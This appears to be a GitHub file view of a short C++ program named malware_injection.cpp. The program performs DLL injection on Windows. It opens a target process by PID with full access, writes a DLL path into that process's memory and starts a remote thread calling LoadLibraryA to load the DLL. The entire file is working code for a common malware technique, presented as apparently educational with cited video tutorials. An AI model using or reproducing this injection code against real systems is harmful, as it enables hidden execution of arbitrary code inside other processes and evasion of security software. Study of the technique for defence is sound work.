-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmalware_injection.cpp
More file actions
37 lines (27 loc) · 1.5 KB
/
Copy pathmalware_injection.cpp
File metadata and controls
37 lines (27 loc) · 1.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// mal1007.cpp : Defines the entry point for the console application.
//The program is C++ implementation for DLL injection into a specified process of the windows system.
/*The program has been written for x64 version of the windows OS
++ The usage of the code is as follows: mal1007.exe 'dll_path' 'process PID'
++ The program displays a message associated with the dll included.
++ The program was referenced from the follwing links:
https://www.youtube.com/watch?v=IBwoVUR1gt8
https://www.youtube.com/watch?v=C2OtYr0EyOg&t=666s
*/
#include "stdafx.h"
#include <Windows.h>
#include <iostream>
int main(int argc, char *argv[])
{
//path of the dll is taken from the arguments
LPCSTR dl_pa = argv[1];
HANDLE proc_name = OpenProcess(PROCESS_ALL_ACCESS, FALSE, atoi(argv[2])); // Open a handle to the process
LPVOID path_to_dll = VirtualAllocEx(proc_name, 0, strlen(dl_pa) + 1,MEM_COMMIT, PAGE_READWRITE); // Allocate memory for the dll
WriteProcessMemory(proc_name, path_to_dll, (LPVOID)dl_pa,strlen(dl_pa) + 1, 0); // Write the path to the address of the memory
HANDLE thread = CreateRemoteThread(proc_name, 0, 0,(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandleA("Kernel32.dll"),
"LoadLibraryA"), path_to_dll, 0, 0); // Create a Remote Thread in the process for injection
WaitForSingleObject(thread, INFINITE);
std::cin.get();
// Free the memory allocated for our dll path
VirtualFreeEx(proc_name, path_to_dll, strlen(dl_pa) + 1, MEM_RELEASE);
return 0;
}